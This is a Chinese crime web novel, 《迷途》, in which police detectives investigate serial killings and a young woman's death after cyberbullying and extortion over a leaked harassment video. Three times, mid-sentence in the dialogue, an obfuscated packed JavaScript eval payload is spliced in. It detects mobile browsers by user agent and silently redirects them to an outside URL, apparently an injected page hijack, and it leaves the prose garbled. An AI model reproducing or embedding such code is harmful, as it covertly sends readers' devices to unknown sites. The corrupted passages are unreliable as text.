《迷途》 1. 序章 2012年新年之际,蓝海市公安局城东分局刑侦大队接到一起报案。 该案发生在老城区的一座废弃工厂里,据统计,在此之前的二十年间共发生三起相同案件,有被害人三人。此前种种证据表明,三起案件作案人系同一人,是一起连环杀人案。 而今日,2012年1月12号晚上十时许,在蓝海市城东区新淮路的废弃电子工厂,发生了第四起案件。 “老大。” 秦于宸到达废弃工厂的时候,先一步过来的警察已经拉起警戒线,在案发现场开始进行搜查取证。 “小高,现在现场什么情况?” 名叫小高的警察走在前面,带着秦于宸往里面进去:“和之前的几起案件一样,在受害者左侧的第二根和第三根肋骨之间有明显刀伤,桌子上的遗书字体和纸张也出自同一作案人之手。” “让他们继续搜查,绝不能漏掉任何和案件有关的细节。” “是,老大。” 秦于宸已经不是第一次接触到这种案子了,除每案的地点和受害者不同之外,犯罪现场的布置与前三起案件并没有什么不同。 是的,这四起案件中,秦于宸自来到城东分局之后,在今天之前已经经历了三起。可从这几起案件中,他并没有找到有关作案人的踪迹。 眼看着受害者不断增加,秦于宸的心里确实有些不是滋味。 秦于宸过去的时候,法医正在给尸体进行初步的检查:“我在死者的钱包里发现了一张身份证,死者张国安,51岁。” “尸体除了身体左侧第二根和第三根肋骨之间有一条25毫米左右的伤口,再没有发现其他伤口,应该是致命伤。” “除此之外,我还在口鼻处发现有致迷药物,应该是被作案人迷晕了带到这里,然后放在椅子上,摆出趴在桌子上的姿势。” “根据尸体的尸僵程度来看,死者死亡的时间,大概是在晚上的8点到8点30分之间。” “在受害者身上有什么其他发现吗?” 却见法医如实摇头:“和前几起案件一样,作案人的作案手法很严谨,没有什么其他破绽。” “秦队,秦队!” 听见有人叫自己,秦于宸终于回过神来,朝声源处看过去:“陆闻,你怎么来了?” 名叫陆闻的年轻人,神色匆忙地小跑到两人面前:“秦队,我听说这里发生了命案,所以就赶过来了。” “今天你不是休息吗,这么着急忙慌的做什么?” 陆闻的呼吸终于平稳了下来:“我听说,这是您一直在跟的案子,所以想过来看看。” 秦于宸伸手拍了拍陆闻的肩膀,似乎是很高兴他的回答:“好啊,你毕业才刚来队里不久,年轻人肯上进是好事。” 闻言,陆闻有些羞涩地挠了挠头,随后立刻站直了身体:“秦队,请让我加入工作。” “好,那你就先跟在我后面吧。” 陆闻还未来得及说话,角落里的一堆箱子下面,忽地传来几声异响。秦于宸第一时间反应过来,旋即立刻掏出枪进入防备状态。 眼看箱子顶部的盖子被从里面打开,几人不自觉地就屏住了呼吸,却在下一秒看到一个男孩儿从里面站起来。 对方似乎也是第一次被这么多警察围观,注意到周围的情况后,吓得往后一仰,直接坐在了箱子上面—— “警察叔叔,我不是坏人!” 秦于宸看着眼前被吓得双手抱头,连眼睛都不敢睁开的年轻人,缓缓收了枪示意其他人继续工作。 “你过来。”他放缓了神色,抬手示意对方过来,可陆闻却看得出来,他并没有因此放松警惕。 “警察叔叔……” 那人有些费劲地跨出箱子,乖乖走到两人面前,却在下一秒尖叫着往后退出好几步,而后跌坐在地上:“死死死死死……有死人!” 大概是因为对方不敢再上前,秦于宸便主动走到他面前,旋即伸出手将他拉起来:“年轻人,不要害怕,可以告诉我,你是怎么来到这里的吗?” “我……我叫齐况。”又是一阵沉默,“我只是在家里无聊,出来随便逛逛,不知怎么的,就来到了这里。” “我也不知道发生了什么事,好像是突然没的意识,像是被……我也不记得了。不过,我醒来就看到你们在这里了。” 齐况顿了顿,抬头与秦于宸四目相对的时候,又认真地补充了一句:“真的。” “那你是,什么时候来到这里的?”还没等秦于宸继续提问,陆闻就试探着问道,“还有,你在进来之后,有没有看到其他人在?” “我……”齐况吞了吞口水,大概是还没从刚才的恐惧里反应过来,嘴唇没有半点儿血色,“我也不记得了,我真的不记得了。” “没关系,不记得也没关系,”眼看着齐况的情绪有些崩溃,秦于宸立刻叫来不远处的人,“小高,你先把这个小朋友带回车里。” “好的老大。” 等到两人的身影消失在门口之后,秦于宸才看向陆闻,而后拍了拍他的肩膀:“陆闻,这个孩子或许是唯一看见过作案人的人,我们可要好好把握住这个机会。” 秦于宸和陆闻回到队里的时候,小高已经将齐况带去了询问室。 他抬手看了一眼腕上的手表,已经是凌晨时分,可办公室里的许多警员,还在因为要处理案件而强打起十二分的精神。 秦于宸和陆闻一前一后进了询问室,小高正在和齐况聊天,见两人进来,他立刻站起身招呼了一声:“老大。” “嗯,”秦于宸点点头,“小高,我们在案发现场附近发现了几台监控设备,你去查查有没有什么有用的线索。” “好。” 小高离开后,秦于宸和陆闻分别在齐况的对面坐下。见齐况还有些紧张,秦于宸便朝他笑了笑:“齐况是吧,今年多大了?” “18岁。” “18岁……”秦于宸点点头,继续道,“听口音,你不像是本地人?” “我家住在宁水市,寒假的时候我会来外婆家过年。” “宁水是个好地方啊,那你觉得,蓝海怎么样?” 齐况想了想,而后认真地回答道:“我觉得蓝海很美,尤其是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985457|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在冬季下雪的时候,这里的雪下的很大很好看。” “是吗?这么说今晚的雪也挺大,你是出来看雪的吗?” 秦于宸小心的询问道,紧盯着齐况的眼神里看不出任何情绪:“那你有没有在废弃工厂那边,看到有什么可疑的人?” “我没有看到,”齐况沉思片刻,还是摇了摇头,向他否认道,“我在那里并没有看见任何人,真的。” 他顿了顿,努力在脑海里拼凑起那时的情景:“我只记得,我看到那里面的小屋亮着灯,我走过去刚进屋,就被人从后面捂住了嘴巴,我怎么也叫不出声。后来我好像就晕了,醒来之后就看见了你们。” “那你有没有触碰到那个人?” “手……好像是手吧。”齐况仔细回想着当时的情况,“不过摸起来凉凉的滑滑的,他应该是戴了手套。其他的,没了。” 或许是还心有余悸,齐况皱起眉头,情绪突然有些不稳:“我当时太害怕了,他突然掏出一把刀对着我,我以为他要杀我。” “然后,我就使劲挣扎,可是还没挣扎两下,我就觉得头好晕,然后就没有意识了。对不起,其他的我真的想不起来了。” 秦于宸立刻从齐况的话里,捕捉到了重要的信息:“那你还记得,他手里拿的刀是什么样子的吗?” “好像……也没什么特别,就是很普通的那种水果刀,也不是很大。” “好的,我们已经了解了,谢谢你。” 从询问室出来后,两人站在门口的走廊上,陆闻似乎还在仔细梳理着齐况刚才说过的话:“秦队,我记得,案发现场的大门好像没有遮挡物。” “如果作案人当时躲在门边,人在进门之后的余光说不定可以注意到,我们要不要再问问齐况?” 秦于宸却只是摇摇头:“齐况的情况你也看到了,再问下去意义不大,而且他刚看到尸体情绪还不稳,我们不能太强迫他。” 秦于宸转过身靠在墙边。 其实他又何尝不想再多了解到关于作案人的情况,二十年间四起命案发生,可他们能找到的线索少之又少,作案人隐藏的实在太深。 “时间很晚了,这孩子的家长肯定会担心,你先把人送回家吧。” 陆闻看得出来秦于宸的情绪不高,不用说,这种案子若是放在他身上,说不定他早就崩溃了。 “好的秦队,我马上过去。” 陆闻带着人从局里出来的时候,外面飘飘扬扬又下起了大雪,月光映得远处也明亮亮的雪白一片。 齐况双手放在嘴前呼了口热气,看向插兜站在旁边的陆闻:“真的,不需要我了吗?” “你已经把所有知道的线索,都告诉我们了不是吗?” 陆闻抬手拍了拍齐况的肩膀,朝他笑道:“听说你马上就要高考了?以后就不要再想这件事了,好好学习,努力考上自己心仪的大学!” 冬夜里,陆闻的鼻子和脸颊被冻得通红,他也是个刚毕业不久的青年,却已经看不出半点刚进社会的青涩模样。 “嗯,”齐况重重地点着头,也笑了,“谢谢你,陆闻哥哥。” 2. 口中剑 在队里一连熬了两个通宵,陆闻终于在结案之后,空出半天的时间用来休息。谁知,就在早上的六点左右,林一然的一通电话让陆闻彻底没了困意—— “陆队,有人报警说在锦阳小区发生命案,你现在能过来吗?” 陆闻猛地睁开眼睛,等到脑子足够清醒之后,才坐起身问道:“到现场了吗?” “到了。本来想着让你好好休息的,但是这边……” 电话那头的林一然没说下去,陆闻也没再给他机会,只是扔下一句:“现在过去。”就匆匆下床换衣洗漱。 去锦阳小区的路上,陆闻没敢多耽搁,既然林一然给他打了电话,说明现场应该是有些棘手。越晚到达现场查看情况,他们能得到的线索也就越少。 陆闻驾车驶进锦阳小区时,林一然正和几名警察在警戒线外疏散群众。 “怎么样了?” “陆队。”林一然立刻跟在陆闻后面,和他一起进到警戒线内,“案发现场正在搜查当中,和韩法医联系了说是马上到。” “好。”陆闻接过林一然递来的手套戴上,而后指了指地上盖着的白布,“掀开我看看。” 林一然捏住盖尸布的一角缓缓掀开,陆闻蹲下身仔细观察一番之后,才让人重新把尸布盖上。 “受害者身份确认了吗?” “死者名叫江晴,”未等林一然开口,从两人对面过来的一名女警首先答道,“23岁,蓝海本地人,毕业于蓝海大学,是这里的住户。” 只见她走到两人面前,继续说下去:“报案的是锦阳小区的保洁人员,说是在清理楼下垃圾桶时发现的尸体,然后就立刻报了警。” 陆闻抬起头环视一圈,最后只在正对着单元门的位置发现了监控。 且江晴坠落的这栋楼是在整个小区的最里面,位置偏僻,想来除了这个时候出来工作的保洁员,被住户发现的可能性不算太大。 “陆队——” 一个声音忽地打断两人之间的对话,陆闻回过神,转头看向来人:“哎呦韩法医,您可总算来了,这受害者尸体再不搬走,马上都要引起群众恐慌了。” “路上有点堵车,”韩唐朝几人走过来。虽然来的有些晚,好在该有的装备他都已经提前准备好了,“来个人帮我记录。” 陆闻摆摆手道:“一然过去,苏乐继续。” “好。”林一然得了令,转身跟着韩唐一起往尸体那边过去。 转眼只剩下陆闻和苏乐两人。 陆闻点点头,示意她继续:“目前的目击证人只有报案人,不过她被吓得不轻,已经带到其他地方安抚情绪了。哦对了,这栋楼的11层2户就是江晴家,已经向物业那边拿了钥匙。” “上去看看。”陆闻原地叫了几个警员一起,其余人则在楼下继续后续的工作。 几人从电梯上到11层,入眼便是摆在2户门口的绿植架。只是不知什么原因,每盆绿植的叶子都像是被人为的毁坏掉,而后随意扔在了绿植架上。 苏乐用从物业那里拿到的钥匙开了门,陆闻摆摆手让她退到一边,而后手搭在腰间的枪柄上,警惕地推开了门。 谁知就在这时,一团黄影突然在门口跳了起来,吓得几人没来得及反应—— “汪!汪汪!” 原来是一只正在门口等着主人回家的金毛。 陆闻试探着往屋子里走进一步,见这只金毛并没有因陌生人的闯入而产生敌意,他便摆摆手示意后面几人一起进去。 几人穿上鞋套之后,就分头去了各个房间检查。 陆闻这才注意到门口的鞋柜上,分别摆放着男士鞋和女士鞋,其中女士鞋有运动鞋和高跟鞋,还有几双中年人穿的布鞋。 视线向上,陆闻又看到柜台上摆放着的几张相片,应该就是江晴和她的父母。其中一张是鼻尖上被抹了蛋糕的金毛,上面用金色记号笔写了这么一句话—— “笨笨三岁啦。” 陆闻将目光移到乖乖趴在地上的金毛身上,而后走到它面前蹲下,揉了揉它的脑袋:“笨笨?你叫笨笨吗?” “汪……”不知是不是能听懂陆闻的话,原本还趴在地上的金毛突然坐起来,朝他使劲儿地摇着尾巴,“汪汪!” 陆闻又揉了揉笨笨的脑袋,而后才终于站起身,朝离他最近的厨房走进去。厨房的空间并不算太大,除了灶台和放蔬菜的小型置物架,再没有其他的东西。 陆闻正准备出去,却忽地瞥见灶台上,那堆放在洗菜盆里的几棵蔬菜。 上面只有少量的水渍残留,而旁边的菜板上,还有切了半个的西红柿,看样子当时江晴正准备做饭,时间应该是在昨天晚上。 从厨房出来之后,陆闻一眼便注意到那台双开门的冰箱门上,贴着各样形状的便利贴纸。 他走过去仔细浏览着上面的文字,其中一张狗狗形状的贴纸上,写了这么一句话—— “25号爸妈回家,要做他们最爱吃的糖醋排骨!” 25号,也就是后天。 “陆队,”苏乐从卫生间出来时,只见陆闻正站在那台冰箱前发呆,“陆队?” “啊……啊?”陆闻这才回过神,“怎么了,是有什么新发现吗?” “我大概看了一下,这里没有被人刻意翻动过,也没有发现不属于这里的痕迹。要么这里不是第一案发现场,要么就是作案人打扫的太干净。” 苏乐走到陆闻面前站定,顺着他刚才的视线看过去:“我在受害者的卧室,也发现了很多这样的贴纸,基本记录的都是五天之内的计划。” 苏乐顿了顿,而后才将目光移到陆闻这边:“不过,我还是觉得这里不是第一案发现场。首先,这里的窗台我都检查了一遍,并没有在上面发现有踩踏或攀爬的痕迹。” “而且我还对比了受害者尸体的位置,从她家的任何一个窗台跳下,都不会落在那个位置。” “嗯。”陆闻若有所思地点点头,“和几个人去天台看看,一有情况立刻汇报。” “好。” 苏乐点点头,转身走到旁边打电话联系了下面的同事,准备找几个人一起对天台进行查看。 而这边的陆闻正准备去江晴卧室时,口袋里的手机却突然振动起来:“喂一然,韩法医那边怎么样了?” “陆队,”林一然的声音从电话那头传出来,“韩法医说,现在对尸体的初步判断是,江晴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985458|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基本符合生前坠楼的特征,很大可能是自杀。” “什么?”陆闻突然觉得有些摸不着头脑,“可是我这边……这样,你让韩唐先把尸体带回去,麻烦他再仔细检查一遍。” “陆队……” 陆闻没打算听林一然继续说下去,便出言打断道:“你把电话给韩……” “你好。” 外面忽然响起的敲门声,让陆闻把接下来的话给咽了回去。 他有些不耐地转头看过去,却发现此刻在门口站着的,竟是多年前一起案件的熟面孔。 这是他第二次见到这张脸。 “陆队,陆队?”电话里林一然的声音逐渐清晰起来,“还没来得及告诉你,今早队里调来个新人,他叫……” “齐况。” 站在门口的齐况穿上鞋套走了进来:“陆闻队长,真没想到,您还记得我。” 陆闻没说话,只是朝电话里扔下一句:“告诉韩法医,先按我说的办。”就挂断了电话。 “怎么说呢,”陆闻摸着下巴,若有所思道,“没想到和你的两次见面,都是在命案现场。这不会是有什么神奇的魔力吧?” 齐况耸耸肩,而后戴上手套,绕过陆闻走到电视柜前站定:“不出意外的话,之后很长一段时间,陆队都会和我在这种情况下见面。” 陆闻点点头,旋即走到齐况身旁,看着他从柜子里拿出一叠没用完的便利贴纸:“让我来猜猜,该不会是当年的那次经历,让你报考了警校吧?” “27号要去公司面试。” “什么?” 齐况举起手里的贴纸,而后转过头看向陆闻:“这上面写的。” 陆闻紧抿着唇,见齐况又低头开始认真寻找线索,便识趣地转身去了江晴的卧室。 苏乐之前已经来过这里一趟,陆闻站在门口仔细观察着里面的摆设。 江晴的房间很干净简单,除了衣柜和双人床,就只有放在窗边的一张化妆台,和随处可见的便利贴纸。 陆闻走到化妆台前,上面还放着一盒未拆封的快递,快递单上备注的是一支口红。 抬头时他注意到了贴在镜子旁的一张便利贴纸,上面写着这么一句话:“两周后莫莫生日,提前准备她最想要的口红。” 便利贴的翘角处还没浮上灰尘,看样子这张贴纸才刚贴上不久。 陆闻从卧室出来时,苏乐正好从外面进来:“陆队,有新发现。” 闻言,齐况也朝这边走了过来。 陆闻示意苏乐继续说:“我们在天台上的边缘处发现了一组鞋印,鞋尖的方向朝外,而且与受害者江晴坠落的位置很是接近。” “在周围有没有发现什么挣扯或打斗的痕迹?” 苏乐摇摇头:“天台上的鞋印很杂乱,除了这组鞋印之外,短时间内可能找不到其他有用的线索。” “好。”陆闻紧抿着唇,似乎是在思考着什么,“不过,我暂且推测江晴不是自杀,而且天台很有可能就是第一案发现场。” “苏乐,先去找人调取从昨天下午到今早五点半之间的监控,排查在此期间出入这栋楼的所有住户。然后队里汇合。” “好。” 3. 口中剑 蓝海市公安局城东分局。 陆闻回来的时候,林一然正好从询问室里出来:“陆队你回来啦。” “嗯,怎么样了?” “联系上江晴的父母了,老两口知道消息之后立马就买了回来的车票,韩法医也在对尸体进行检查。” “哦对了,那个报案人我也问过了,她就只说在楼下收拾垃圾桶的时候发现尸体,然后在第一时间报了警。” 说完,林一然打开手里的杯子喝了口水。 陆闻走到林一然面前站定,一手撑着办公桌,一手从口袋里掏出一张照片递到他面前:“这是我在江晴卧室的化妆台上发现的贴纸,上面这个叫莫莫的,你去联系一下。” 言罢,陆闻顺势靠在办公桌上,抬手摸了摸下巴:“如果江晴真是自杀,她会在切了一半的西红柿之后,突然想不开,然后跑到天台上跳下去吗?” “我觉得不会,至少在这段时间内不会。”一直在旁边沉默不言的齐况,突然开口道。 见陆闻并没有对此表示不耐烦,便继续接下来的话:“目前从江晴家得到的线索来看,她应该是个很严谨和有强迫症的人。” “比如用便利贴纸记下对她来说很重要的事,避免会遗忘和不必要的麻烦。厨房里的菜刀从大到小摆放整齐,沙发上的每只抱枕之间距离基本一致。” “可你们有没有注意到,江晴的尸体是光着脚的。而且有人在附近找到了一双拖鞋,其实在江晴家我们也发现了同样的拖鞋,经过对比,这双拖鞋和天台上的鞋印完全吻合。 “我在想,这样一个有强迫症和仪式感,心思细腻又爱干净的女生,一定不会连鞋都顾不得换。” 齐况顿了顿,面色凝重地说出了自己的猜测:“没错,我觉得江晴在坠楼之前,一定是去天台上见一个,对她而言很重要的人。” 只是她与这位很重要的人,当时到底发生了什么,才会让她从那里坠落下去呢? 一阵沉默之后,陆闻才终于回过神来。他轻咳一声,摆摆手道:“具体还是先等苏乐和韩法医那边怎么说,毕竟现在也只是推测。” 只不过在这么短的时间里,就能根据案发现场的情况推测出这么多,看来他真的已经不再是当初那个连尸体都怕的高中生了啊。 闻言,那边林一然才终于收回有些惊讶眼神,然后拿起照片丢下一句:“陆队我先去找人。”就起身离开了这里。 转眼间,周围除了正在低头默默工作的警员之外,就只剩下陆闻和齐况互相干瞪着眼。 “要不,”陆闻摸了摸鼻尖,首先开口道,“一起去韩法医那里看看?” “好啊。” 两人来到法医鉴定中心的工作室门口,陆闻抬起手敲了几下门,在听到里面的人说了句“进来”之后,才转动把手推开门走进去。 “韩法医,忙着呐。” 看样子韩唐是刚完成检查工作,现下正站在工具台前收拾东西:“陆队。齐况,你好。” “韩法医好。” 一旁的陆闻有些奇怪:“你们……认识?” 韩唐却只是摇摇头,如实道:“只是看过一些案件的报道,邻市的外卖投毒案,陆队平时不看这些吗?” “额……”陆闻挠了挠后脑勺,有些心虚,“我这,自己队里的案子都够多的了。” 而且难得有回家休息的时间,他除了补觉还是补觉,看手机了解新闻的机会自然不多。 “对了,检查结果怎么样了?” “死亡时间大概是在今天凌晨的十二点到两点之间。不过从目前检验的结果来看,尸体上除了坠落导致的伤口之外,并没有打斗伤或抵抗伤的痕迹,符合生前坠楼的特征。我觉得,自杀的可能性很大。” 陆闻倒没有多意外,仿佛早就知道会是这个结果:“那有没有一种可能,”他抬起头认真地看向韩唐的眼睛,最后还是决定说出了自己的猜想,“是有人在旁边诱导或逼迫江晴跳楼?” “这个,可能就需要陆队你去找出证据了。”毕竟韩唐目前的结论,也只是在尸检后得出的。 案发第二天的案件讨论会,陆闻提前来到了会议室,在白板上列出本起案件的线索之后,又在旁边做了个简单的案情梳理。 等到人都到齐,他才转过身面向大家,首先开口道:“对于江晴坠楼案的调查,目前韩法医给出的鉴定结果是自杀,但是对于案件的其他线索,我们现在有了新的发现。林一然,你先说吧。” “好。”林一然拿起面前的记录本,而后站起身说道,“根据受害者家里的便利贴,我们找到了一名叫莫莫的女孩儿。” “据莫莫提供的信息来看,江晴的社会关系并不复杂,除了两人是从小长大的邻居之外,江晴基本没有其他的朋友。” “之后我们马上联系到了莫莫,因为最近她在外地出差,所以与江晴联系频繁。22号的上午10点左右,是莫莫与江晴的最后一次通话。” “据莫莫回忆那次的电话内容,因为再过几天就是她的生日,所以江晴在电话中有明确提到,要在莫莫生日那天一起出去吃火锅。当时两人的对话轻松,莫莫并没有听出江晴有什么异常。” “以上就是我了解到的情况。” “好,”陆闻摆摆手示意林一然坐下,而后将目光移到了苏乐身上,“监控那边怎么样?” “我们分别查看了江晴家楼下和电梯里的监控。根据监控显示,江晴在22号的晚上9点30分左右,独自提着便利袋进了单元门,而且从监控里看,她当时的行为举止并没有什么异样。” “而电梯监控也确实拍到了江晴在进入单元楼之后直接上了11层,只是在晚上的11点30分之后,江晴又从11层上到了天台,之后就再没有下来。” “根据楼下监控,我们排查了22号下午到23号早上之间所有进出单元楼的人,除了外卖员,基本都是楼上的住户。只不过……” 苏乐顿了顿,将早已投屏的监控视频按了播放。等到所有人都看完一遍之后,又将视频暂停在了一名身着蓝色外套的女性进入单元楼的地方。 “这名女性是在22号晚上的十一点进入的单元楼,而后又在23号凌晨的十二点十五分左右离开。据了解,她并不是这栋楼的住户,而且我们在电梯监控中,发现江晴从电梯上到天台的时间,和这名女性进出单元楼的时间非常接近。” “电梯监控有拍到她上了几楼吗?” 苏乐摇摇头:“没有,不过不排除她走楼梯的可能。” 陆闻仔细盯着画面里的女性,而后走到会议桌前站定:“既然是这样,那画面中的这名女性很可能和坠楼案有关联,苏乐,散会后立刻和这名女性取得联系。” “好。” 会议结束之后,其他人都各自回到自己的岗位上继续工作。齐况看了眼还在研究白板上线索的陆闻,转身走到他旁边—— “她原本是可以和父母一起吃饭的。” 闻言,陆闻将目光移到那张拍有便贴的照片上,至始至终却没有说一句话。 对于有些人来说,下一瞬或许就是永远。 “妈妈,你看我贴的花好看吗?” 蓝海市中心医院,一个七八岁模样的小女孩儿身穿病号服,将一张贴画举了起来,而对面坐在病床前的年轻女性,正端着一碗冒着热气的蔬菜粥。 听着小女孩儿的声音,她立刻抬起头露出了一个笑容,可眼下的青黑似在证明,她已经很久没有睡过安稳觉了。 “好看,我们媛媛越来越厉害了,贴的花都已经这么好看啦。” 闻言,女孩儿咧了咧苍白的嘴唇,满脸骄傲的表情:“那我要给妈妈再贴个最漂亮的蝴蝶!” “好好好,不过我们媛媛要先吃……” 还未说完,放在旁边的手机铃声突然响起,她看着手机屏幕上的那一串号码,随后按了挂断键。 “来,我们先吃……” 谁知,就在她准备给女孩儿喂饭的时候,手边的电话又响了起来,仍是刚才的那一串数字—— “喂,你好。” “你好,请问是陈艺女士吗?这里是蓝海市公安局城东分局……” 审讯室里,陆闻坐在审讯桌前,旁边是记录证词的苏乐:“报一下个人信息。” 而在他们对面坐着的,正是之前出现在监控视频里,那个身穿蓝色外套的女性。 她揪着自己已经破旧了的外套袖口,有些犹豫的点点头:“我叫陈艺,女,今年28岁。” “知道我们为什么让你过来吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985459|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不知道。” 闻言,陆闻稍稍抬起眼帘,不动声色地观察起对面陈艺的表情:“22号晚上的11点,你在哪里?” “我……我应该是在去医院的路上。” “医院?” “对!”陈艺顿了顿,只与陆闻对视不到一秒,就匆忙地别开目光,“我女儿在住院,我每天都要去医院照顾她。” “有人能证明吗?” “证明……”陈艺木讷地摇摇头,“没有,我家距离医院很近,我是一个人走过去的,路上没碰见什么熟人。” “22号晚十一点,你独自走在去往医院的路上,不过没有人能证明,对吧?” “……是。” “嗯。”陆闻点点头,低着脑袋在面前的记录本里找出一张照片,“那这个呢?” 他伸出手,指了指位于照片中心的蓝色外套女性,这一帧清楚的将陈艺的脸记录了下来,并且在照片的角落,显示当时陈艺出的时间,正是22号晚的11点08分。 “这张照片,是锦阳小区的监控截图,并不是市中心医院的。”陆闻放下照片,双手交叠撑在桌子上,“江晴,这个名字对于陈女士来说,熟悉吗?” “我……我那天确实有去找过她。” 陈艺握了握放在桌上的拳头,忽地抬起头看向陆闻,急切道:“可我只是去她家天台上见她一面,和她说了几句话,仅此而已,真的!” 陆闻没立刻说话,而是拿起桌上的手机,然后将屏幕对着陈艺,播放了一个视频—— “就是你摸的对不对,你给我道歉。” “你哪只眼睛看到我摸你了?” “就是你,我都看到你伸手过来了!” “我从上车就一直在玩手机,哪里能空出手摸你啊?再说了,这车上这么多人,或许只是不小心碰到而已,上来就说我摸你,你也太自信了吧。” “这段视频的内容,是一名女性在乘坐公交车时疑似遭遇猥亵,而后与人发生争论的一段对话。” 陆闻放下手机,而后身体前倾,紧紧盯着对面的陈艺:“画面中的女性是本次案件的受害者江晴,而视频的拍摄和发布者,正是你,陈艺。” 闻言,陈艺紧紧咬着嘴唇,身体也不由自主地颤抖起来。见状,陆闻收回凌厉的目光,开口道:“说说吧,这件事情的全部过程。” “我……” 陈艺深深地低下头,良久,才终于开口道:“那天早上我坐公交车,正好赶上人多,特别拥挤。突然我就听见一个女孩儿在车上吵起来,说有人摸她,我就用手机拍了段视频,然后随手发到网上吐槽了几句。” “开始也没什么,后来不知道怎么的突然就火了,好多人都在底下评论转发,不过都是骂那个小姑娘的。我当时想删的,谁知道正好有人过来找我要没打码的视频,还愿意出钱买,我想着有钱赚就没舍得删。” “可我没想到的是,那些人借着我的原视频恶意剪辑颠倒黑白,还找到了江晴的联系方式和住址,甚至跑去她的社交账号底下骂她,说她太敏感,没有证据就污蔑别人,骂她穿的少活该被摸。” “后来,江晴就找到了我,让我删掉视频并且作证她真的是被骚扰的。起初我是想帮助她的真的,可是……” “我女儿病情加重了需要做手术,这些年为了给她治病我们欠了很多钱,可那些费用真的很高我们家负担不起,该想的办法我都想了可就是筹不到!” “那天,我去她家天台找她,只要二十万,我立马删视频帮她作证。可她跟我说没有,她家住那么好的小区,她跟我说她没有钱,怎么可能?” “她跟我说,自己已经快要被那些人逼疯了,让我帮帮她,可谁来帮我啊?二十万我就只要二十万,二十万就能救回我女儿的命!” “我本来想着,拿不到钱我就跳楼,一了百了。谁知道就在这时候,我女儿给我打电话,说她想见我,我马上就回去了。” 陈艺抹了抹脸上的泪水,抬起头发了疯似地大喊道:“看到新闻我也懵了,我不知道她后来怎么就死了,我下去的时候她还好好的,真的!” “警察同志,我没有杀人,我真的没杀人!”陈艺抬手捂住脸,闷着声一直重复这句,“我真的没杀人……” 4. 口中剑 陆闻离开审讯室后,只留下已经平静下来的陈艺,和独自整理笔录的苏乐。 “我还有女儿……”陈艺低着头,苏乐看不清她的表情,只听见她在低声啜泣着,“她还在家等着我呢。” 苏乐没说话,只是拿过笔录站起身,而后在离开审讯室之前,将那张拍有便贴的照片递到了陈艺手中—— “可你知道吗,江晴在自杀之前,也在等着她的父母回家。” 闻言,陈艺的身体猛地一怔,她微微转动眼珠,看向手中的那张照片。 ——25号爸妈回家,要做他们最爱吃的糖醋排骨! ——27号要去期待已久的公司面试,加油加油加油! ——莫莫的24岁生日,期待! 即便那些恶语击的人喘不过气,她还是有在努力的生活着。 监控室里,陆闻和齐况并肩而立,观察着陈艺在审讯室里的一举一动。 沉默良久,齐况突然轻叹一声,继而开口道:“所以在陈艺离开之后,江晴终于再也承受不住,从天台上跳了下去。” 陆闻没说话,只是轻轻点了点头:“嗯。” 或许,他们永远都不会知道,那晚陈艺走后,江晴独自坐在天台上,一条一条仔细翻着那些评论看了多久。 他们随手写下的几句话,就这样轻而易举地,杀害了这个素不相识的人的一生。那个正值大好年华的女孩儿,最终还是没能从流言蜚语中挺过去。 网络从来都不是法外之地。可他们随口说出的一句话,用手在键盘上打出的每一个字,或许都会成为将人推入深渊的一把利器。 尽管如此,他们却从来都不会在乎,或者反思自己的言论会带来什么样的后果,亦不会担心是否会被人发现,在他们正义的面具之下,那副虚伪的面孔。 因为他们背着光,站在制高点,没人能看清他们的样子。 “哎苏乐,”警员办公室里,林一然转动座椅,来到正在工作的苏乐旁边,“什么时候有空了,一起去吃饭呗?找陆队和齐哥一起,就当是欢迎齐哥的加入,怎么样?” “我都行,你请客?” “可以啊,”林一然立马坐直身体,拍了拍胸脯,“我虽然查案不行,可请客这种小事我还是可以的。” 闻言,苏乐撇撇嘴,还是将快要到嘴边的话给咽了下去,最后只能在心里默默感叹道:“这就是有钱人的底气吗?!” 没错,林一然的父亲是蓝海市一家大公司的老板,且林一然又是家里的独生子。按理说他接下来的人生,应该是完成学业,然后进公司学习将来该如何接管家族企业。 只不过谁也没想到,家里这个从小就被宠着供着的小少爷,最后会考入警校,还进了城东分局的刑侦大队。 晚上十点左右,陆闻办公室的灯还亮着。直到林一然和苏乐敲响了办公室的门,他才从堆成小山的案卷里抬起了头:“进来。” 话音刚落,林一然便推门走进,后面还跟着苏乐:“陆队,还没下班呐?” “嗯。”陆闻看着在自己对面并肩而站的两人,有些没反应过来,“咋了这是?” “陆队,”苏乐和林一然对视一眼,首先开口道,“我和一然过来,是想问你现在有没有空去吃饭,还有齐哥。” “是啊陆队,这不齐哥刚加入我们大队嘛,就当是欢迎宴了。” 